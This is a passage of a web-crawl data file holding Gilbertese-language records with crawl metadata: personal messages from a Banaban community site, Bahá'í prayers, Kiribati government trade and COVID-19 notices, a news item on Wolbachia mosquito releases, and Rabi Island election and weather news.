taibora tr chairman-buren, secretary-tebaruru,tresurer-teriribe,tia biriaki betareri.euara moa anne!!!!!!!!!!!!!!!!!!!! tai babakatang.\nhey!!!!!! thanx alot for the updatenews from ur side.yes thats right we dont even known our time.so we have to be prepared all the time.kabara buren te kakan tina ah!!!!!!!!!!!!!!!!!!!!!!!!.ngaia, are bon kainumam te iereti arei ekawa ba ea bon aki reke buokana man hosp.ma eanganaki one week baena observe vinaki natina ao tao ea oki wati naba.e bon rotaki n te nanokawaki ao e bon mangoa te tang.ko ianiko,ibrinako mai rakina ba ibon otaki naba ntangina.a taku doctrs ba teaekaki ni case arei e bon ti kona ni maui inanon 3 months ao a mate naba.\nneiko ai bon te kananokawaki,te news ae iongo mai ikanne. e mate uncle apelu. isa are tia bon raroanako ma ti bon uringi kami n ara tataro ao riki ti uringata uncle n ara tataro.neiko pliz invite me ba friend.ake rongo rongon ara tabo aio.ai bon aroarona naba.iai au friend ae kain tuvalu ae taku ba kain umam. e roko ikai ba e aoraki natina. ti kaitibo n teonaoraki,ba ti rin naba iroun baby.bon tenua ara wiiki nteo. bye moa ma ti manga ongora mai iroum.\nsis, ngaiara ti bon rangi ni marurung. ao ai bon iaon kawaina experiencing angin te bung, properly this week. a uara mama ao uncle? au kataninga ba arangi ni marurung.a uara taan kamaraki atu ake Jerry and Mariti are (aukamori)ah ah ah!.ko anga naba au kamauri nte ririki ae boou nakoia kain am auti ni kabane ao e moamoariki nei kamaraki atu are nei Areau. ngaira ngkai ti bon mena irouia ana koraki tebaruru i makoi.i kiriaria n okinako nako Rabi. tia boo moa","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/banabanvoice.ning.com\/profile\/SavaliMatio","date":"2020-02-17T15:05:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875142603.80\/warc\/CC-MAIN-20200217145609-20200217175609-00474.warc.gz","language":"gil","language_score":0.9995705485,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 0.9995705485343933}","num_words":390,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NATIN TE MOTIRAOI\nN tain te tairiki are e a tia iai te Maiu ae akea rabwatana ni karaoaki te onobwai man rietaatan kiriiinin te onimaki are iroun Sadratu'l-Muntaha, ao n tang ma te aeka n tanginiwenei are te runga ni karawa ao taan maeka n abanuea ake i eta a rootaki n ira Tangina. Ao ikanne are a titiraki, Bukin tera te tang ma te tanginiwenei? E kaeka: N taekana I tataninga te kariaria man maungan te kakaonimaki, ma I aki ikenna mairouia ake a maeka i aon te aonaaba boiararan te onimaki. Ngkanne I a weteaki n oki I a noora, ao nooria, tabeua taoben te katabuaki ake a reke ni ukin waeia kamean te aonaaba. Ao ikanne are ainen karawa e a kawaekoaa ao e aikoa rabuna ubuna ao e a oota man Ana bwareti n tamnei, ao e titiraki araia, ao a bane ni kaotaki ma ti temanna are e aki. Ao ngke e tuangaki, te moa ni manin taeka ake e taekinaki, are iai a biri n roko man aia tabo ni maeka aika mimitong taan maeka n te auti ni karawa. Ao ngke e a taekinaki te kauoua ni man ni koroboki a bwaka nako aontano, ngaiia ni kabane, ao a ongo te bwanaa mai i nanon te bangota: \"E a toki ikai ao akea riki te waaki nako riki.\" Ti kaotia ni kakoauaa are a tia ni karaoia ao ae a tabe ni karaoia ngkai.","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60403780&to=gil","date":"2020-02-21T16:56:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145533.1\/warc\/CC-MAIN-20200221142006-20200221172006-00133.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":243,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.473,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inanon ana kanako bwana Bwanaan Rabi nte Moanibong 5 bongin Tianuare 2009 ao aio ngkane kanoan te maroro.\nTe kaoti iango irouia taan Rineaki ao taan Rinerine.\nNgai I kaoti iango naba mai iAotiteria ikai ao au koaua are i taekina nte tarebon nakon Bwanaan Rabi boni buokaia ara tia Rinerine ba ana kanga ni kinaia aia Kauntira aika na mate raoi rineakia:-\n1. Rinea am Kauntira ae ata kainanom ngkoe ae ko aki mwakuri. E riai am Kauntira ni karekei itera aika kona ni… Continue","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/banabanvoice.ning.com\/profiles\/blog\/list?month=01&year=2009&promoted=&page=3","date":"2020-02-20T19:13:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145260.40\/warc\/CC-MAIN-20200220162309-20200220192309-00112.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":83,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Empowering and encouraging our communities to hold onto our language, culture and heritage, and pass it onto our younger generations.\n\"Kamarurunga ao kaunga ara kominiti ba ena kateimatoa ara taetae, katei, ao rabakauia ara bakatibu man reireinia te roro ae tabe n rikirake\"\nKatanoata aika a kakawaki i bukin te Covid-19 ao butin te Coronavirus\nE buti te Covid-19 man te timtim n ran ke bururu man te matie ao te bekobeko, ngaia are te kabane n tamaroa i bukin totokoan butina bwa ngkana ko aoraki ao ko riai n tiku ni mwengam. matie ao bekobeko nakon manokun baim, teboki baim ma te tobu, ao mani kamwaui raoi.\nNgkana iai tabeaiangam ao ko kainnanoai anga ni buobuoki man botaki ni kuakua, tarebonia te Healthline i aon namban te Covid -19 ae 0800 358 5453 ae akea boona ao e uki n taai nako 24 te aoa, 7 te bong n te wiiki.\nA rinanoaki mani kakabouaki katanoata i bukin boborau ma mamananga ngaia te bubuti bwa kama kakaonimaki n tuoa Safe travel website ao te botaki ni kiba n te aonnaba ae IATA Travel Centre website ngkana iai managami nakon aba ianena.\nI bukin ongora ni kaongora aika a boou ao koauaia nakon: https:\/\/www.govt.nz\/covid-19-novel-coronavirus\/","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/pacificmedianetwork.com\/stations\/kiribati","date":"2020-03-28T19:58:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370493120.15\/warc\/CC-MAIN-20200328194743-20200328224743-00304.warc.gz","language":"gil","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.000004529953003}","num_words":198,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri and Welcome to the Ministry of Commerce, Industry and Cooperatives (MCIC).\nThe MCIC is one of the key Government ministries that provides the following services:\n- Business Registration and Development\n- Investment – Registration of Foreign Investment\n- Cooperative and credit union Registration and Development\n- Industry Development\n- Trade Promotion Services\n- Promotion of Product Quality and Standards\n- Consumer Protection and Empowerment\n- Intellectual Property Development and Promotion\nMCIC Event\nConsumer Right Day\n15th March 2020\nIntellectual Property Day\n26th April 2020\nCooperatives Day\n6th July 2020\nWorld Quality Day\n14 November 2020\nDubai Expo\nOctober 2020 – April 2021\nNational Trade Show\n28th December 2020\nStock Take for Grain In Tarawa\nControl Price Latest\nDownload the latest Control Price for the link below:\nKatanoata ibukin te Raraoma n roko te Kaako i Kiribati\nE kukurei ni kamatata te botaki ni makuri ibukin bitiniti, karaobwai ao boboti, bwa e a tia ni bowi ma kambwana ake a otana te rice, sugar ao te flour nte bong aei Wednesday 18\/3\/20, ao kambwana ake a itabon ma kaibuke ni kaako i tinaniku, ao a kamatoa bwa akea rotakin kawain kaibuke mai tinaniku ibukin uotakin kaako nako Kiribati n 2020, ao a bon tia ni baronga kawain aia kaibuke inanon 2020. Kambwana ni kaibuke aikai bon te SOAK ao te One Stop Shipping Agency (OSSA). Irarikin aei, ao a taekinna naba kambwana n ota iaon te raiti, burawa ao tioka ao general cargoes bwa ena reitinako naba otanakin amwarake aikai ibukin maiun te botanaomata.\nA taekinna naba bwa ena reitinako naba karaoan te rice, flour ao sugar mai irouia aia kambwana ake a itabon ma ngaia i tinaniku. Nanona bwa e ngae ngke bon buti te aoraki ae te coronavirus n aban tinaniku ma te iokinibwai ena bon teimatoa naba nte aonnaba ibukin maiuia te botanaomata.\nA taekinna naba te MOEL ao te PUNJAs bwa bon iai aia moa ae ana manga roko n aia ota ae boou n 4 n April 2020 n te kaibuke ni kaako ae na roko.\nIrarikin aei ao a bon tia ni butiaki retailers ke bitiniti bwa ana kateimatoa irakin te tia ni boo iaon te rice, flour ao sugar are e a tia ni bwaati, ao akea ae na raka ana boo iaona. Ane e noraki n urua te tia ni boo aei ao ana bon katuaeaki.\nA butiaki naba aomata bwa ana aki kuri ke kamaita ni kaboi rice, sugar ao flour ae riaon ae riai, bwa e bon teimatoa n roko te kaibuke ni kaako nako Kiribati.\nTe Tia Koroboki\nMCIC Tender on Butaritari VCO Factory\nTender Public Announcement\nHardware suppliers and Builders\/Contractors are invited to submit their tenders for supply of materials and construction of the Butaritari Island Virgin Coconut Oil (VCO) Factory. Tender will close on Friday 20th March 2020 at 4.15pm.\nTender papers can be obtained from the MCIC office during working hours. For further information please call 75126156 or 72026159.\nThank you.\nSecretary\nMinistry of Commerce, Industry & Cooperatives.\nSchedule for Overseas Shipment to Tarawa and Kiritimati","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/mcic.gov.ki\/","date":"2020-04-05T23:11:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371611051.77\/warc\/CC-MAIN-20200405213008-20200406003508-00179.warc.gz","language":"gil","language_score":0.9987716675,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9987716674804688}","num_words":483,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te nebonebo nakoim O te Uea ae Atuau. Ti a tia n ira nanon te Aki Mamatam ni kaeineti ma am kaetieti ao n urua ngkai inanon Am tangira ao Kukureim ae raoiroi. Butimwaea ma te nanonaki O Atuau, taian mwakuri ake ti a tia ni karaoi inanon Kawaim ni bwaninia bon ti ibukin Tamaroam, ao moara aika ineti nakon Am Waaki, n inaomata man bwaai nako ma ti Ngkoe. Kataua ngkanne Am kabwarabure nako aora, nakoaoia ara bakatibu ao nakoaoia ni kabane ake a tia ni Kakoauako ao inanon am Kanikina nako aika korakora inanon te Kaotioti aio ae te kabanea ni korakora ma ni mimitong. Ko bon korakora ni karaoa are Ko rineia. Bon Ngkoe ni koaua Te Kabanea n rietata, te Korakora, Te aki kona n tauaki Eena.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190302050","date":"2020-05-29T01:16:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347401004.26\/warc\/CC-MAIN-20200528232803-20200529022803-00023.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":131,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.359,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri neiko, ngke are kona uota ana buti maneu are ten abera peter. ko kakan amtabo ma Abera ke? ba ia butia ba ena karekea kanau te tari nika ma ia bitiku ba koa uotia nokim. i will call u again kana ning nakoati nikira te buti.\ntiabo moa ao tekeraoi te exam.\nAkea te kanganga ngkana te Nurse gkoe,ko itinai ao ngai ia manga itiniko n au iiti naba ke.ko taku ba akea au iiti.ao e tikiraoi au iiti ba e toki iai te Tioka ao e roota nanom iai keeee.hahahahahahahah.ko uringnga are tina kaitibo ikai nte xmas kee.koa manga reitia mai ikanne.\nMauri,ngaia ko boni mena i Australia.akea ba taeka ni katekeraoi nakoim ngkai ea bon roko te xmas ao te Happy New year ao riki tekeraoi inanon am tai ni kekeiaki.Taua ma nanom ba tokinna ao na bouaiko keee.Fafule naba n anne keee.Tiaki tooi.hahahahahaha.","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/banabanvoice.ning.com\/profile\/FiliBeiatau","date":"2020-05-28T02:17:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347396300.22\/warc\/CC-MAIN-20200527235451-20200528025451-00367.warc.gz","language":"gil","language_score":0.9999467134,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9999467134475708}","num_words":147,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Terana ae koa boni iangoia n am tabo anne... a missiniko am roro mai Tabewa meang Lol...bon akea te news ba ea tiba bane naba wikin te 15th ao ngkai ai titekatau raoi nakoin te xmas ao te new year ao manga tei raken te reirei 2011\nmauri naba ngke shshshs e nang korakora arom kee koa roko naba nigai i Rabi...ahahahaha ko kan rena kee ao e uara moa bum akea arom ba koa ien naba kee shshshs koa tekena teaba hahaha\ne tau nang kagai moa ma tekeraoi te tiku ao riki xmas ma te ririki ae bou\ntia maga bo n aki akaka\nNna bero ko uara?? E uara te ika ikanne?? Enga tamam ane Turui e bon maeu ke Ea mate!!! Koa anga naba ara kamauri nakoia kain te auti. Koa tuanga Turui bwa ea ururingira nte boa ao te kamino. Ok tibo moa","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/banabanvoice.ning.com\/profile\/Lorosio","date":"2020-06-05T07:20:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348493151.92\/warc\/CC-MAIN-20200605045722-20200605075722-00371.warc.gz","language":"gil","language_score":0.9998774529,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9998774528503418}","num_words":147,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkoe Te Atua ae Moan te Itiaki ao te Katoki ni Mwaaka! Bon au Uea Ngkoe ae moan te Aakoi! Anganiira te aeka ni korakora are ti na kona iai ni kaaitarai aeka ni kanganga nako ni katabwanina te aonaaba, ao kariaia anganakira te aeka ni mwaaka teuana are e na tabeki naon ara kekeiaki mwaaka n aron naon Marawan te Betebeke, ni kona n rooti aon biken te itera Mainiku ao te itera Maeao.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190225010","date":"2020-05-29T01:40:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347401004.26\/warc\/CC-MAIN-20200528232803-20200529022803-00563.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":75,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kiribati releases first wolbachia mosquitoes\nTARAWA, July 31, 2018 (RADIO KIRIBATI\/AHC)) — The Australian High Commission has congratulated the World Mosquito Program (WMP)-Kiribati team and the Kiribati Ministry of Health and Medical Services (MHMS) for the successful first release of Wolbachia mosquitoes.\nThe recent release of the mosquitoes at Bairiki Square marks a significant milestone in the program after months of preparations. This includes setting up a new facility at the Tungaru Central Hospital, conducting community consultations as well as building capacity of local staff recruited under the program.\nA statement from AHC says the WMP will start releasing Wolbachia mosquitoes from Buota to Betio villages to reduce the threat of mosquito-borne diseases such as dengue fever, chikungunya and zika.\nAustralia's Acting High Commissioner, Mr. Thomas Roth, said Australian science was helping to improve the lives of millions of people around the world, including in Kiribati.\nKiribati now joins Fiji and Vanuatu in the region to pilot the innovative Wolbachia method as part of the $7.7 million InnovationXchange funding, an initiative of Australia's Department of Foreign Affairs and Trade.\n……………………….\nKakibai ana moan maninnara Kiribati ake uouota te wolbachia\nTARAWA, July 31, 2018 (RADIO KIRIBATI\/AHC) —- E a tia ana Aobiti Aotiteria i Kiribati ae te Australian High Commission ni katekeraoia kain ana tiim te World Mosquito Program (WMP) mai Kiribati ao te Botaki ni Kuakua ao Katoki Aoraki ibukin nakoraoin moan kakibaakiia maninnara ake iai te wolbachia irouia.\nMoan kakibaakiia maninnara aikai are e a tibwa tia ni karaoaki n te Bairiki Square, e bon mwakena nakoraoin waakinan te program aio imwin namwakaina ni kakatauraoi aika a bati.\nKakatauraoi aikai bon kateakin te aobiti ae e boou n te onaoraki are i Nawerewere ibukin te program aio, karaoan maroro ma communities ao reiakinaia ma kataneiakiia taan mwakuri aika a boou n te program aio ake a tibwa kateirakeaki.\nE na moanaki kakibanakoan maninnara aika a uouota te Wolbachia aikai mai Buota nako BEtio ibukin kauarerekean kanganga iaon aorakin te maninnara aika te dengue fever, te chikungunya ao te zika.\nE taku ana bonomwi n Ai Kamitina Aotiteria ae Thomas Roth bwa e a tia ana rabakau Aotiteria aio ni buoka ao ni kanakoraoa maiuia iraua te mirion aomata n te aonnaba n ikotaki ma Kiribati.\nE a raonia ngkai Biiti ao Vanuatu Kiribati n aonon te betebeke ni moan waakina ke ni katanemwaneka te rabakau iaon te Wolbachia aio are bon kanoan te buoka ae $7.7 te mirion te taara are bon kanoan ana waaki ana Botaki ni Mwakuri Aotiteria ibukin Aaba Ianena ao Iokinibwai ae te Department of Foreign Affairs and Trade (DFAT).","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/bpa.org.ki\/kiribati-releases-first-wolbachia-mosquitoes-2\/","date":"2020-06-04T10:12:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347439928.61\/warc\/CC-MAIN-20200604094848-20200604124848-00146.warc.gz","language":"gil","language_score":0.9978898764,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 0.9978898763656616}","num_words":426,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.223,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atuau, Boton au tangira, Kourun nanou, te Kabanea n Tituaraoi, te Kabanea n Nanoanga! Te maiu ni kabane bon mai Iroum, ao taian mwaaka ni kabane a wene inanon Baim ae akea tokin mwaakana. Ane Ko karietaata e bon kawaerakeaki iaoia riki anera, ao ni karekea te karinan are: 'Ni koaua, Ti mwemwekia nakon te tabo ae e rietaata!; ao ane ko kamaemaea e bon karinanoaki riki iaan te bubuntano, bon tiaki, e kee riki iaan te aakea. O Te Tia Tararua ni Karawa! E ngae ngke ti buakaka, a bati ara bure, ao ti aki kona n taubaang, ma ti bon ukoukora mai Iroum te 'kaintekatekan te koaua,' ao n ingainga nanora ni kan nora moan Te Uea ae akea tokin Mwaakana. Bon Am bwai te tautaeka, ao te tautaeka ni uea ni kabane bon Am bwai, ao tian te mwaaka e bobaraaki i matan Am tua. Bwaai ni kabane ake Ko karaoi bon te motiraoi ae e itiaki, bon tiaki naba, bon oioin te tangira. Ti teuana takian te ota mai buakon tamaroan Aram, te Kabane n Nanoanga, e a tau ibukin kamaunanakoan ao kamaunaan tanetanen nako te bure man te aonnaba, ao ti teuana te ikerake man angin Bongin Am Kaotioti e bon tau ibukin katamaroaakin te botanaomata ni kabane ma kunnikaina ae e boou. Aanga Korakoram, O Ngkoe ae Ko Mwaaka, nako aoia am karikibwai ake a mamaara, ao kamaiuia naake ai aroia maate, bwa a aonga ni kukurei ni Kuneko, ao bwa a na kona ni kairaki nakon marawan Am kakaawakin, ao n teimatoa n nene inanon Am Aro. Ngkana arona bwa boiararan Kamoamoaakim e kaotaki nakon taabo aika a raroanako rinanon taian newe aika a kakaokoro, i tinanikun te aono ni Mainiku ke i tinanikun te aono ni Maeao, ni koaua, ao e na bon, korakora tangirana ao ni mwannanoaki. E ngae n anne, ngkana neewe akanne, a kamwaawaia man te boiarara anne, ao ni koaua a na bon aki karekea tibwangaia ni kona ni mwaneweaki n te taeka ke tao n te iango. Ti bubutiko, O te Tia Tararua, ni kaota Am kawai nakoia ni kabane aomata, ao ni kairiia n te kawai ae ineti. Ngkoe, ni koaua, te Kabanea ni Mwaaka, te Kabanea n Ataibwai, te Kabanea n Noraaba.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190202050","date":"2020-06-04T05:06:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347439019.86\/warc\/CC-MAIN-20200604032435-20200604062435-00472.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":377,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.369,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke ingabong ao a bane ni kaokaki ataein te reirei n te Banaban School n ikotaki naba ma ana taan makuri te Kauntira ibukin te Tsunami warning are e katanoataaki n te radio n te aoa 7.00am\nN 8.30am ao ea manga cancel te warning ibukin te Tsunami ma engae n anne ao ai akea ae kan reirei man makuri.\nIrarikin naba aaei ao e bon wakinaki naba ana inter-house te Rabi High School are e karaoaki i Nuku n te marae\nTao tingaia moa anne mai Rabi","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/te-motirawa-ae-kakuba-iaon","date":"2020-07-07T09:23:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655891884.11\/warc\/CC-MAIN-20200707080206-20200707110206-00496.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":88,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.386,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE RAO AE TE IANENA O!\nE a kauraaki tauranenean nanom ni bain Mwaakau, tai tiringnga n angim ao angin te baere ko tangiria. Te tia katokii aoraki nako bon Uringau, tai mwanuokinna. Karika Au tangira bwa am kaubwai, ao nabenabeia n aron ae bon am taratara nako ao maium.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.bahaiprayers.io\/prayer?id=20403330&to=gil","date":"2020-07-08T08:22:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655896905.46\/warc\/CC-MAIN-20200708062424-20200708092424-00576.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kam na mauri,\nInanon te wiki ae nako ao a tabe ni mainging taian candidates ake ana anga araia nakon te rinerine ni Kauntira ibukin kawa aika aua.\nNgkanne aika a tia ni biri ngkai inanon te kawa ae Tabwewa bon Katauea Abetai, Nei Terikano Takesau, Namatan Tiaterenga, Paulo Vanualailai ao Burenikamaraia Terubea. Inanon ara kakauongo ae e tuai ni matoa raoi ao aikai ngkanne man te kaintekateka n Unimane - Katauea Abetai ao Paulo Vanualailai. Man te kaintekateka n rorobuaka - Nei Terikano Takesau, Namatan Tiaterenga, Burenikamaraia Terubea, Baeba Abetai ao Teitirake Karoro.\nMan te kawa ae Uma man te kaintekateka n Unimane - Burentau Teaon, Burenimone Biara, Tebaia Tawita ao Tuateira Burataake. N te kaintekateka n rorobuaka - Teatu Rewi, Kaiea Bakanebo ao Butau Bureitetau.\nN te kawa ae Tabiang man te kaintekateka n Unimane - David Christopher, Tiare Bureti, Baoa Anterea, Iekerua Wiriam ao Teruamwi Teaiwa. N te kaintekateka n rorobuaka - Aretana Kabure, Tiroba Tereikabu, Akata Reia ao Tingaia Ruata.\nI Buakonikai man te kaintekateka n Unimane - Maunga Taboia, Takire Timeon, Tekoro Birikarere Teairo ao man te kaintekateka n rorobuaka - Temoai Kaintikuaba, Nei Titaku Tabuariki.\nAikai ngkanne bon taian rongorongo aika a noraki aron maingingiia ao ana bon bane ni kamatoaaki ngkana a tia ni karin araia ibukin te candidate.\nTe rinerine ena bon waaki iaon Suva, Labasa ao Lautoka nakon te Kaabong 22nd Jan ao ena waakinaki iaon Rabi nakon te Kanimabong 23rd Jan. Te wareware ena karaoaki naba n te Kanimabong anne 23rd Jan i Rabi.\nIrarikin naba aei ao a bon tia naba ni weteaki man te maiu aei kaain abara aikai:\nNei Katiria Tekaai Temakin (Suva)\nNei Bene Tekire Obrien (Suva)\nArobati Rianibou (Suva)\nTamton Baoa (Buakonikai)\nTapufaila Ofati (Suva)\nTaian kamainging irouiia Mitinaren te Wetire: Rev Semota e maing nako Tabiang ao Rev Kabong Reo e maing nako Tabwewa ba ea riki naba ba te Talatala Qase iaon Rabi. Rev Terubea Beretiata ena maing nako Banaba ao Rev Kaintoka ena nako Buakonikai. Rev Nakaitu Boata ena tiku i Kadavu ao Rev Kakia Faigata ena makuri i Bua.\nTe karau ngkai iaon Rabi e bon tuai man toki bakana inanon uoua te wiki aoea tabe ni konaaki te kawai imwiin rangan taian karanga n ikotaki ma iabutin taari. Iai naba korakoran ukin te ang nako aon Rabi man te Katenibong 07\/01 ao bon akea te uruaki ae e riki. Taratarana ba ana iai riki korakoran te ang ae ena karea Rabi inanon bong aika imaira. Inanon te tai aio ao ea manga tabe naba n uruaki kawaira ibukin te mamananga iaon Rabi ao ti noria ba ea bon kaan naba teiraken te reirei.\nInanon naba aia taratara kaain Rabi ao a noria ba ea bon tabe naba ni kerake korakoran te iabuti are ea tao nako nanon kawai aika i Ratirati ao n te kabao are e nako Tabwewa Meang man te aobiti. Inanon te oniia ae e nako ao a bon rotaki kawai aikai.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/taian-rongorongo-mai-rabi","date":"2020-08-10T19:38:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737168.97\/warc\/CC-MAIN-20200810175614-20200810205614-00596.warc.gz","language":"gil","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000030994415283}","num_words":486,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.257,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Neiko mauri. E uara abami anne. E raraba te BV bwa ngaia tia reitaki iai ma ara koraki n taabo nako. Ai iraman ngkai natim. Ko kitana Fiji ao ngaira ti uarereke ngkanne. E bae n roko te kaara keer. Tekeraoi kanoan te bong aei\nmauri ngkoe, tauraoi n ogora man te fiji 1. iai te ibiti ae kain te lab mai kai arana Silivia ea tia n nakoati ba ena makuri ikanne. Boni iai naba te mare natin tom corrie (temamira) ma natin tianoa (christer). Te date august 22nd.\nKam iangoa te raun nigai? Tera ae e kakaraoia aunty aketan?\nTe iga nakoim, buum, aunty and not 4geting the kids.\nbye...............................\nmauri teaonata,\nkabara te bure ibukin waeremwen te reitaki, ko uara ma ikanne, au kantaninga ba ko marurung naba, neiko kanga e tuai raoi n reke matam irou ma antai ngkoa ngkoe,,is it Teaonata are natin Nei Mere Eriu???\nkabara te bure n aio ma e na kanga ao are tao ti uarereke ao tiaki ataia ngkami ao ngkami kama nang kinaira keee. ma e tau koa manga reitia ma ikanne ao ena tekeraoi te makuri . tia boo moa","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profile\/TeaonataWilliam510","date":"2020-08-10T18:49:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737168.97\/warc\/CC-MAIN-20200810175614-20200810205614-00598.warc.gz","language":"gil","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 